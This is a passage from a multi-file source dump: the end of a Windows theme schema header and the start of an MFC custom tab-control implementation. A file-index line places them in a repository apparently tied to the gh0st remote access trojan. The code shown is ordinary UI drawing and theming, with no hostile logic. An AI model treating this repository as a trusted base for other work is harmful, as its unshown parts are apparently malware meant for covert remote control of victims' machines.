TM_PART(3, TP, SPLITBUTTON)
TM_PART(4, TP, SPLITBUTTONDROPDOWN)
TM_PART(5, TP, SEPARATOR)
TM_PART(6, TP, SEPARATORVERT)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(TOOLBAR)
TM_STATE(1, TS, NORMAL)
TM_STATE(2, TS, HOT)
TM_STATE(3, TS, PRESSED)
TM_STATE(4, TS, DISABLED)
TM_STATE(5, TS, CHECKED)
TM_STATE(6, TS, HOTCHECKED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Status" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(STATUS)
TM_PART(1, SP, PANE)
TM_PART(2, SP, GRIPPERPANE)
TM_PART(3, SP, GRIPPER)
END_TM_CLASS_PARTS()
//---------------------------------------------------------------------------------------
// "Menu" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(MENU)
TM_PART(1, MP, MENUITEM)
TM_PART(2, MP, MENUDROPDOWN)
TM_PART(3, MP, MENUBARITEM)
TM_PART(4, MP, MENUBARDROPDOWN)
TM_PART(5, MP, CHEVRON)
TM_PART(6, MP, SEPARATOR)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(MENU)
TM_STATE(1, MS, NORMAL)
TM_STATE(2, MS, SELECTED)
TM_STATE(3, MS, DEMOTED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "ListView" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(LISTVIEW)
TM_PART(1, LVP, LISTITEM)
TM_PART(2, LVP, LISTGROUP)
TM_PART(3, LVP, LISTDETAIL)
TM_PART(4, LVP, LISTSORTEDDETAIL)
TM_PART(5, LVP, EMPTYTEXT)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(LISTITEM)
TM_STATE(1, LIS, NORMAL)
TM_STATE(2, LIS, HOT)
TM_STATE(3, LIS, SELECTED)
TM_STATE(4, LIS, DISABLED)
TM_STATE(5, LIS, SELECTEDNOTFOCUS)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Header" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(HEADER)
TM_PART(1, HP, HEADERITEM)
TM_PART(2, HP, HEADERITEMLEFT)
TM_PART(3, HP, HEADERITEMRIGHT)
TM_PART(4, HP, HEADERSORTARROW)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(HEADERITEM)
TM_STATE(1, HIS, NORMAL)
TM_STATE(2, HIS, HOT)
TM_STATE(3, HIS, PRESSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(HEADERITEMLEFT)
TM_STATE(1, HILS, NORMAL)
TM_STATE(2, HILS, HOT)
TM_STATE(3, HILS, PRESSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(HEADERITEMRIGHT)
TM_STATE(1, HIRS, NORMAL)
TM_STATE(2, HIRS, HOT)
TM_STATE(3, HIRS, PRESSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(HEADERSORTARROW)
TM_STATE(1, HSAS, SORTEDUP)
TM_STATE(2, HSAS, SORTEDDOWN)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Progress" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(PROGRESS)
TM_PART(1, PP, BAR)
TM_PART(2, PP, BARVERT)
TM_PART(3, PP, CHUNK)
TM_PART(4, PP, CHUNKVERT)
END_TM_CLASS_PARTS()
//---------------------------------------------------------------------------------------
// "Tab" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(TAB)
TM_PART(1, TABP, TABITEM)
TM_PART(2, TABP, TABITEMLEFTEDGE)
TM_PART(3, TABP, TABITEMRIGHTEDGE)
TM_PART(4, TABP, TABITEMBOTHEDGE)
TM_PART(5, TABP, TOPTABITEM)
TM_PART(6, TABP, TOPTABITEMLEFTEDGE)
TM_PART(7, TABP, TOPTABITEMRIGHTEDGE)
TM_PART(8, TABP, TOPTABITEMBOTHEDGE)
TM_PART(9, TABP, PANE)
TM_PART(10, TABP, BODY)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(TABITEM)
TM_STATE(1, TIS, NORMAL)
TM_STATE(2, TIS, HOT)
TM_STATE(3, TIS, SELECTED)
TM_STATE(4, TIS, DISABLED)
TM_STATE(5, TIS, FOCUSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(TABITEMLEFTEDGE)
TM_STATE(1, TILES, NORMAL)
TM_STATE(2, TILES, HOT)
TM_STATE(3, TILES, SELECTED)
TM_STATE(4, TILES, DISABLED)
TM_STATE(5, TILES, FOCUSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(TABITEMRIGHTEDGE)
TM_STATE(1, TIRES, NORMAL)
TM_STATE(2, TIRES, HOT)
TM_STATE(3, TIRES, SELECTED)
TM_STATE(4, TIRES, DISABLED)
TM_STATE(5, TIRES, FOCUSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(TABITEMBOTHEDGES)
TM_STATE(1, TIBES, NORMAL)
TM_STATE(2, TIBES, HOT)
TM_STATE(3, TIBES, SELECTED)
TM_STATE(4, TIBES, DISABLED)
TM_STATE(5, TIBES, FOCUSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(TOPTABITEM)
TM_STATE(1, TTIS, NORMAL)
TM_STATE(2, TTIS, HOT)
TM_STATE(3, TTIS, SELECTED)
TM_STATE(4, TTIS, DISABLED)
TM_STATE(5, TTIS, FOCUSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(TOPTABITEMLEFTEDGE)
TM_STATE(1, TTILES, NORMAL)
TM_STATE(2, TTILES, HOT)
TM_STATE(3, TTILES, SELECTED)
TM_STATE(4, TTILES, DISABLED)
TM_STATE(5, TTILES, FOCUSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(TOPTABITEMRIGHTEDGE)
TM_STATE(1, TTIRES, NORMAL)
TM_STATE(2, TTIRES, HOT)
TM_STATE(3, TTIRES, SELECTED)
TM_STATE(4, TTIRES, DISABLED)
TM_STATE(5, TTIRES, FOCUSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(TOPTABITEMBOTHEDGES)
TM_STATE(1, TTIBES, NORMAL)
TM_STATE(2, TTIBES, HOT)
TM_STATE(3, TTIBES, SELECTED)
TM_STATE(4, TTIBES, DISABLED)
TM_STATE(5, TTIBES, FOCUSED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Trackbar" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(TRACKBAR)
TM_PART(1, TKP, TRACK)
TM_PART(2, TKP, TRACKVERT)
TM_PART(3, TKP, THUMB)
TM_PART(4, TKP, THUMBBOTTOM)
TM_PART(5, TKP, THUMBTOP)
TM_PART(6, TKP, THUMBVERT)
TM_PART(7, TKP, THUMBLEFT)
TM_PART(8, TKP, THUMBRIGHT)
TM_PART(9, TKP, TICS)
TM_PART(10, TKP, TICSVERT)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(TRACKBAR)
TM_STATE(1, TKS, NORMAL)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(TRACK)
TM_STATE(1, TRS, NORMAL)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(TRACKVERT)
TM_STATE(1, TRVS, NORMAL)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(THUMB)
TM_STATE(1, TUS, NORMAL)
TM_STATE(2, TUS, HOT)
TM_STATE(3, TUS, PRESSED)
TM_STATE(4, TUS, FOCUSED)
TM_STATE(5, TUS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(THUMBBOTTOM)
TM_STATE(1, TUBS, NORMAL)
TM_STATE(2, TUBS, HOT)
TM_STATE(3, TUBS, PRESSED)
TM_STATE(4, TUBS, FOCUSED)
TM_STATE(5, TUBS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(THUMBTOP)
TM_STATE(1, TUTS, NORMAL)
TM_STATE(2, TUTS, HOT)
TM_STATE(3, TUTS, PRESSED)
TM_STATE(4, TUTS, FOCUSED)
TM_STATE(5, TUTS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(THUMBVERT)
TM_STATE(1, TUVS, NORMAL)
TM_STATE(2, TUVS, HOT)
TM_STATE(3, TUVS, PRESSED)
TM_STATE(4, TUVS, FOCUSED)
TM_STATE(5, TUVS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(THUMBLEFT)
TM_STATE(1, TUVLS, NORMAL)
TM_STATE(2, TUVLS, HOT)
TM_STATE(3, TUVLS, PRESSED)
TM_STATE(4, TUVLS, FOCUSED)
TM_STATE(5, TUVLS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(THUMBRIGHT)
TM_STATE(1, TUVRS, NORMAL)
TM_STATE(2, TUVRS, HOT)
TM_STATE(3, TUVRS, PRESSED)
TM_STATE(4, TUVRS, FOCUSED)
TM_STATE(5, TUVRS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(TICS)
TM_STATE(1, TSS, NORMAL)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(TICSVERT)
TM_STATE(1, TSVS, NORMAL)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Tooltips" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(TOOLTIP)
TM_PART(1, TTP, STANDARD)
TM_PART(2, TTP, STANDARDTITLE)
TM_PART(3, TTP, BALLOON)
TM_PART(4, TTP, BALLOONTITLE)
TM_PART(5, TTP, CLOSE)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(CLOSE)
TM_STATE(1, TTCS, NORMAL)
TM_STATE(2, TTCS, HOT)
TM_STATE(3, TTCS, PRESSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(STANDARD)
TM_STATE(1, TTSS, NORMAL)
TM_STATE(2, TTSS, LINK)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(BALLOON)
TM_STATE(1, TTBS, NORMAL)
TM_STATE(2, TTBS, LINK)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "TreeView" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(TREEVIEW)
TM_PART(1, TVP, TREEITEM)
TM_PART(2, TVP, GLYPH)
TM_PART(3, TVP, BRANCH)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(TREEITEM)
TM_STATE(1, TREIS, NORMAL)
TM_STATE(2, TREIS, HOT)
TM_STATE(3, TREIS, SELECTED)
TM_STATE(4, TREIS, DISABLED)
TM_STATE(5, TREIS, SELECTEDNOTFOCUS)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(GLYPH)
TM_STATE(1, GLPS, CLOSED)
TM_STATE(2, GLPS, OPENED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Spin" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(SPIN)
TM_PART(1, SPNP, UP)
TM_PART(2, SPNP, DOWN)
TM_PART(3, SPNP, UPHORZ)
TM_PART(4, SPNP, DOWNHORZ)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(UP)
TM_STATE(1, UPS, NORMAL)
TM_STATE(2, UPS, HOT)
TM_STATE(3, UPS, PRESSED)
TM_STATE(4, UPS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(DOWN)
TM_STATE(1, DNS, NORMAL)
TM_STATE(2, DNS, HOT)
TM_STATE(3, DNS, PRESSED)
TM_STATE(4, DNS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(UPHORZ)
TM_STATE(1, UPHZS, NORMAL)
TM_STATE(2, UPHZS, HOT)
TM_STATE(3, UPHZS, PRESSED)
TM_STATE(4, UPHZS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(DOWNHORZ)
TM_STATE(1, DNHZS, NORMAL)
TM_STATE(2, DNHZS, HOT)
TM_STATE(3, DNHZS, PRESSED)
TM_STATE(4, DNHZS, DISABLED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Page" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(PAGE)
TM_PART(1, PGRP, UP)
TM_PART(2, PGRP, DOWN)
TM_PART(3, PGRP, UPHORZ)
TM_PART(4, PGRP, DOWNHORZ)
END_TM_CLASS_PARTS()
//--- Pager uses same states as Spin ---
//---------------------------------------------------------------------------------------
// "Scrollbar" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(SCROLLBAR)
TM_PART(1, SBP, ARROWBTN)
TM_PART(2, SBP, THUMBBTNHORZ)
TM_PART(3, SBP, THUMBBTNVERT)
TM_PART(4, SBP, LOWERTRACKHORZ)
TM_PART(5, SBP, UPPERTRACKHORZ)
TM_PART(6, SBP, LOWERTRACKVERT)
TM_PART(7, SBP, UPPERTRACKVERT)
TM_PART(8, SBP, GRIPPERHORZ)
TM_PART(9, SBP, GRIPPERVERT)
TM_PART(10, SBP, SIZEBOX)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(ARROWBTN)
TM_STATE(1, ABS, UPNORMAL)
TM_STATE(2, ABS, UPHOT)
TM_STATE(3, ABS, UPPRESSED)
TM_STATE(4, ABS, UPDISABLED)
TM_STATE(5, ABS, DOWNNORMAL)
TM_STATE(6, ABS, DOWNHOT)
TM_STATE(7, ABS, DOWNPRESSED)
TM_STATE(8, ABS, DOWNDISABLED)
TM_STATE(9, ABS, LEFTNORMAL)
TM_STATE(10, ABS, LEFTHOT)
TM_STATE(11, ABS, LEFTPRESSED)
TM_STATE(12, ABS, LEFTDISABLED)
TM_STATE(13, ABS, RIGHTNORMAL)
TM_STATE(14, ABS, RIGHTHOT)
TM_STATE(15, ABS, RIGHTPRESSED)
TM_STATE(16, ABS, RIGHTDISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(SCROLLBAR)
TM_STATE(1, SCRBS, NORMAL)
TM_STATE(2, SCRBS, HOT)
TM_STATE(3, SCRBS, PRESSED)
TM_STATE(4, SCRBS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(SIZEBOX)
TM_STATE(1, SZB, RIGHTALIGN)
TM_STATE(2, SZB, LEFTALIGN)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Edit" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(EDIT)
TM_PART(1, EP, EDITTEXT)
TM_PART(2, EP, CARET)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(EDITTEXT)
TM_STATE(1, ETS, NORMAL)
TM_STATE(2, ETS, HOT)
TM_STATE(3, ETS, SELECTED)
TM_STATE(4, ETS, DISABLED)
TM_STATE(5, ETS, FOCUSED)
TM_STATE(6, ETS, READONLY)
TM_STATE(7, ETS, ASSIST)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "ComboBox" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(COMBOBOX)
TM_PART(1, CP, DROPDOWNBUTTON)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(COMBOBOX)
TM_STATE(1, CBXS, NORMAL)
TM_STATE(2, CBXS, HOT)
TM_STATE(3, CBXS, PRESSED)
TM_STATE(4, CBXS, DISABLED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Taskbar Clock" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(CLOCK)
TM_PART(1, CLP, TIME)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(CLOCK)
TM_STATE(1, CLS, NORMAL)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Tray Notify" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(TRAYNOTIFY)
TM_PART(1, TNP, BACKGROUND)
TM_PART(2, TNP, ANIMBACKGROUND)
END_TM_CLASS_PARTS()
//---------------------------------------------------------------------------------------
// "TaskBar" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(TASKBAR)
TM_PART(1, TBP, BACKGROUNDBOTTOM)
TM_PART(2, TBP, BACKGROUNDRIGHT)
TM_PART(3, TBP, BACKGROUNDTOP)
TM_PART(4, TBP, BACKGROUNDLEFT)
TM_PART(5, TBP, SIZINGBARBOTTOM)
TM_PART(6, TBP, SIZINGBARRIGHT)
TM_PART(7, TBP, SIZINGBARTOP)
TM_PART(8, TBP, SIZINGBARLEFT)
END_TM_CLASS_PARTS()
//---------------------------------------------------------------------------------------
// "TaskBand" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(TASKBAND)
TM_PART(1, TDP, GROUPCOUNT)
TM_PART(2, TDP, FLASHBUTTON)
TM_PART(3, TDP, FLASHBUTTONGROUPMENU)
END_TM_CLASS_PARTS()
//---------------------------------------------------------------------------------------
// "StartPanel" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(STARTPANEL)
TM_PART(1, SPP, USERPANE)
TM_PART(2, SPP, MOREPROGRAMS)
TM_PART(3, SPP, MOREPROGRAMSARROW)
TM_PART(4, SPP, PROGLIST)
TM_PART(5, SPP, PROGLISTSEPARATOR)
TM_PART(6, SPP, PLACESLIST)
TM_PART(7, SPP, PLACESLISTSEPARATOR)
TM_PART(8, SPP, LOGOFF)
TM_PART(9, SPP, LOGOFFBUTTONS)
TM_PART(10, SPP, USERPICTURE)
TM_PART(11, SPP, PREVIEW)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(MOREPROGRAMSARROW)
TM_STATE(1, SPS, NORMAL)
TM_STATE(2, SPS, HOT)
TM_STATE(3, SPS, PRESSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(LOGOFFBUTTONS)
TM_STATE(1, SPLS, NORMAL)
TM_STATE(2, SPLS, HOT)
TM_STATE(3, SPLS, PRESSED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "ExplorerBar" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(EXPLORERBAR)
TM_PART(1, EBP, HEADERBACKGROUND)
TM_PART(2, EBP, HEADERCLOSE)
TM_PART(3, EBP, HEADERPIN)
TM_PART(4, EBP, IEBARMENU)
TM_PART(5, EBP, NORMALGROUPBACKGROUND)
TM_PART(6, EBP, NORMALGROUPCOLLAPSE)
TM_PART(7, EBP, NORMALGROUPEXPAND)
TM_PART(8, EBP, NORMALGROUPHEAD)
TM_PART(9, EBP, SPECIALGROUPBACKGROUND)
TM_PART(10, EBP, SPECIALGROUPCOLLAPSE)
TM_PART(11, EBP, SPECIALGROUPEXPAND)
TM_PART(12, EBP, SPECIALGROUPHEAD)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(HEADERCLOSE)
TM_STATE(1, EBHC, NORMAL)
TM_STATE(2, EBHC, HOT)
TM_STATE(3, EBHC, PRESSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(HEADERPIN)
TM_STATE(1, EBHP, NORMAL)
TM_STATE(2, EBHP, HOT)
TM_STATE(3, EBHP, PRESSED)
TM_STATE(4, EBHP, SELECTEDNORMAL)
TM_STATE(5, EBHP, SELECTEDHOT)
TM_STATE(6, EBHP, SELECTEDPRESSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(IEBARMENU)
TM_STATE(1, EBM, NORMAL)
TM_STATE(2, EBM, HOT)
TM_STATE(3, EBM, PRESSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(NORMALGROUPCOLLAPSE)
TM_STATE(1, EBNGC, NORMAL)
TM_STATE(2, EBNGC, HOT)
TM_STATE(3, EBNGC, PRESSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(NORMALGROUPEXPAND)
TM_STATE(1, EBNGE, NORMAL)
TM_STATE(2, EBNGE, HOT)
TM_STATE(3, EBNGE, PRESSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(SPECIALGROUPCOLLAPSE)
TM_STATE(1, EBSGC, NORMAL)
TM_STATE(2, EBSGC, HOT)
TM_STATE(3, EBSGC, PRESSED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(SPECIALGROUPEXPAND)
TM_STATE(1, EBSGE, NORMAL)
TM_STATE(2, EBSGE, HOT)
TM_STATE(3, EBSGE, PRESSED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "TaskBand" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(MENUBAND)
TM_PART(1, MDP, NEWAPPBUTTON)
TM_PART(2, MDP, SEPERATOR)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(MENUBAND)
TM_STATE(1, MDS, NORMAL)
TM_STATE(2, MDS, HOT)
TM_STATE(3, MDS, PRESSED)
TM_STATE(4, MDS, DISABLED)
TM_STATE(5, MDS, CHECKED)
TM_STATE(6, MDS, HOTCHECKED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------
END_TM_SCHEMA(ThemeMgrSchema)
//---------------------------------------------------------------------------
#endif // TMSCHEMA_H
//---------------------------------------------------------------------------
| 07321-rat | trunk/gh0st/Tmschema.h | C | asf20 | 45,694 |
/**********************************************************************
**
** CustomTabCtrl.cpp : implementation file of CCustomTabCtrl class
**
** by Andrzej Markowski June 2004
**
**********************************************************************/
#include "stdafx.h"
#include <AFXPRIV.H>
#include "CustomTabCtrl.h"
// CCustomTabCtrlItem
CCustomTabCtrlItem::CCustomTabCtrlItem(CString sText,LPARAM lParam) :
m_sText(sText),
m_lParam(lParam),
m_bShape(TAB_SHAPE1),
m_fSelected(FALSE),
m_fHighlighted(FALSE),
m_fHighlightChanged(FALSE)
{
}
void CCustomTabCtrlItem::operator=(const CCustomTabCtrlItem &other)
{
m_sText = other.m_sText;
m_lParam = other.m_lParam;
}
void CCustomTabCtrlItem::ComputeRgn(BOOL fOnTop)
{
m_rgn.DeleteObject();
CPoint pts[6];
GetRegionPoints(m_rect,pts, fOnTop);
m_rgn.CreatePolygonRgn(pts, 6, WINDING);
}
void CCustomTabCtrlItem::GetRegionPoints(const CRect& rc, CPoint* pts, BOOL fOnTop) const
{
switch(m_bShape)
{
case TAB_SHAPE2:
{
if(fOnTop)
{
pts[0] = CPoint(rc.left, rc.bottom+1);
pts[1] = CPoint(rc.left, rc.top);
pts[2] = CPoint(rc.left + rc.Height()/2, rc.bottom+1);
pts[3] = CPoint(rc.left + rc.Height()/2, rc.bottom+1);
pts[4] = CPoint(rc.left + rc.Height()/2, rc.bottom+1);
pts[5] = CPoint(rc.left + rc.Height()/2, rc.bottom+1);
}
else
{
pts[0] = rc.TopLeft();
pts[1] = CPoint(rc.left, rc.bottom);
pts[2] = CPoint(rc.left + rc.Height()/2, rc.top);
pts[3] = CPoint(rc.left + rc.Height()/2, rc.top);
pts[4] = CPoint(rc.left + rc.Height()/2, rc.top);
pts[5] = CPoint(rc.left + rc.Height()/2, rc.top);
}
}
break;
case TAB_SHAPE3:
{
if(fOnTop)
{
pts[0] = CPoint(rc.left, rc.bottom+1);
pts[1] = CPoint(rc.left + rc.Height()/4, rc.Height()/2);
pts[2] = CPoint(rc.left, rc.top);
pts[3] = CPoint(rc.left, rc.top);
pts[4] = CPoint(rc.left, rc.top);
pts[5] = CPoint(rc.left, rc.top);
}
else
{
pts[0] = rc.TopLeft();
pts[1] = CPoint(rc.left + rc.Height()/4, rc.Height()/2);
pts[2] = CPoint(rc.left, rc.bottom);
pts[3] = CPoint(rc.left, rc.bottom);
pts[4] = CPoint(rc.left, rc.bottom);
pts[5] = CPoint(rc.left, rc.bottom);
}
}
break;
case TAB_SHAPE4:
{
if(fOnTop)
{
pts[0] = CPoint(rc.left, rc.bottom+1);
pts[1] = CPoint(rc.left + rc.Height()/4, rc.Height()/2);
pts[2] = CPoint(rc.left + rc.Height()/2, rc.top);
pts[3] = CPoint(rc.right - rc.Height()/2, rc.top);
pts[4] = CPoint(rc.right - rc.Height()/4, rc.Height()/2);
pts[5] = CPoint(rc.right, rc.bottom+1);
}
else
{
pts[0] = rc.TopLeft();
pts[1] = CPoint(rc.left + rc.Height()/4, rc.Height()/2);
pts[2] = CPoint(rc.left + rc.Height()/2, rc.bottom);
pts[3] = CPoint(rc.right - rc.Height()/2, rc.bottom);
pts[4] = CPoint(rc.right - rc.Height()/4, rc.Height()/2);
pts[5] = CPoint(rc.right, rc.top);
}
}
break;
case TAB_SHAPE5:
{
if(fOnTop)
{
pts[0] = CPoint(rc.left, rc.bottom+1);
pts[1] = CPoint(rc.left + rc.Height()/4, rc.Height()/2);
pts[2] = CPoint(rc.left + rc.Height()/2 , rc.top);
pts[3] = CPoint(rc.right - rc.Height()/2, rc.top);
pts[4] = CPoint(rc.right - rc.Height()/4, rc.Height()/2);
pts[5] = CPoint(rc.right - rc.Height()/2, rc.bottom+1);
}
else
{
pts[0] = rc.TopLeft();
pts[1] = CPoint(rc.left + rc.Height()/4, rc.Height()/2);
pts[2] = CPoint(rc.left + rc.Height()/2 , rc.bottom);
pts[3] = CPoint(rc.right - rc.Height()/2, rc.bottom);
pts[4] = CPoint(rc.right - rc.Height()/4, rc.Height()/2);
pts[5] = CPoint(rc.right - rc.Height()/2, rc.top);
}
}
break;
default:
{
pts[0] = CPoint(0,0);
pts[1] = CPoint(0,0);
pts[2] = CPoint(0,0);
pts[3] = CPoint(0,0);
pts[4] = CPoint(0,0);
pts[5] = CPoint(0,0);
}
break;
}
}
void CCustomTabCtrlItem::GetDrawPoints(const CRect& rc, CPoint* pts, BOOL fOnTop) const
{
switch(m_bShape)
{
case TAB_SHAPE2:
case TAB_SHAPE3:
{
if(fOnTop)
{
pts[0] = CPoint(rc.left, rc.top);
pts[1] = CPoint(rc.left + rc.Height()/2, rc.bottom);
}
else
{
pts[0] = CPoint(rc.left, rc.bottom);
pts[1] = CPoint(rc.left + rc.Height()/2, rc.top);
}
}
break;
case TAB_SHAPE4:
case TAB_SHAPE5:
{
if(fOnTop)
{
pts[0] = CPoint(rc.left,rc.bottom);
pts[1] = CPoint(rc.left + rc.Height()/2, rc.top);
pts[2] = CPoint(rc.right - rc.Height()/2, rc.top);
pts[3] = CPoint(rc.right, rc.bottom);
}
else
{
pts[0] = rc.TopLeft();
pts[1] = CPoint(rc.left + rc.Height()/2, rc.bottom);
pts[2] = CPoint(rc.right - rc.Height()/2, rc.bottom);
pts[3] = CPoint(rc.right, rc.top);
}
}
break;
}
}
void CCustomTabCtrlItem::Draw(CDC& dc, CFont& font, BOOL fOnTop, BOOL fRTL)
{
COLORREF bgColor = GetSysColor((m_fSelected||m_fHighlighted) ? COLOR_WINDOW : COLOR_3DFACE);
COLORREF fgColor = GetSysColor((m_fSelected ||m_fHighlighted) ? COLOR_WINDOWTEXT : COLOR_BTNTEXT);
CBrush brush(bgColor);
CPen blackPen(PS_SOLID, 1, GetSysColor(COLOR_BTNTEXT));
CPen shadowPen(PS_SOLID, 1, GetSysColor(COLOR_3DSHADOW));
CPoint pts[4];
CRect rc = m_rect;
GetDrawPoints(rc, pts, fOnTop);
// Paint item background
dc.FillRgn(&m_rgn, &brush);
CPen* pOldPen = dc.SelectObject(&blackPen);
// draw item
switch(m_bShape)
{
case TAB_SHAPE2:
case TAB_SHAPE3:
{
dc.MoveTo(pts[0]);
dc.LineTo(pts[1]);
if(!m_fSelected)
{
dc.SelectObject(&shadowPen);
dc.MoveTo(pts[0].x-1,pts[0].y);
dc.LineTo(pts[1].x-1,pts[1].y);
}
}
break;
case TAB_SHAPE4:
case TAB_SHAPE5:
{
dc.MoveTo(pts[0]);
dc.LineTo(pts[1]);
dc.SelectObject(&shadowPen);
dc.LineTo(pts[2]);
if(!m_fSelected)
{
dc.MoveTo(pts[2].x-1,pts[2].y);
dc.LineTo(pts[3].x-1,pts[3].y);
}
dc.SelectObject(&blackPen);
dc.MoveTo(pts[2]);
dc.LineTo(pts[3]);
// draw item text
COLORREF bgOldColor = dc.SetBkColor(bgColor);
COLORREF fgOldColor = dc.SetTextColor(fgColor);
rc.DeflateRect(rc.Height()/2, 2,rc.Height()/2,2);
CFont* pOldFont = dc.SelectObject(&font);
if(fRTL)
dc.DrawText(m_sText, &rc, DT_CENTER|DT_VCENTER|DT_SINGLELINE|DT_RTLREADING);
else
dc.DrawText(m_sText, &rc, DT_CENTER|DT_VCENTER|DT_SINGLELINE);
dc.SelectObject(pOldFont);
dc.SetTextColor(fgOldColor);
dc.SetBkColor(bgOldColor);
}
break;
}
dc.SelectObject(pOldPen);
}
// CCustomTabCtrl
LOGFONT CCustomTabCtrl::lf_default = {12, 0, 0, 0, FW_NORMAL, 0, 0, 0,
DEFAULT_CHARSET, OUT_CHARACTER_PRECIS, CLIP_CHARACTER_PRECIS,
DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, "Microsoft Sans Serif"};
BYTE CCustomTabCtrl::m_bBitsGlyphs[] = {
0xBD,0xFB,0xDF,0xBD,0x3C,0x00,
0xB9,0xF3,0xCF,0x9D,0x99,0x00,
0xB1,0xE3,0xC7,0x8D,0xC3,0x00,
0xA3,0xC7,0xE3,0xC5,0xE7,0x00,
0xB1,0xE3,0xC7,0x8D,0xC3,0x00,
0xB9,0xF3,0xCF,0x9D,0x99,0x00,
0xBD,0xFB,0xDF,0xBD,0x3C,0x00
};
CCustomTabCtrl::CCustomTabCtrl() :
m_nButtonIDDown(CTCID_NOBUTTON),
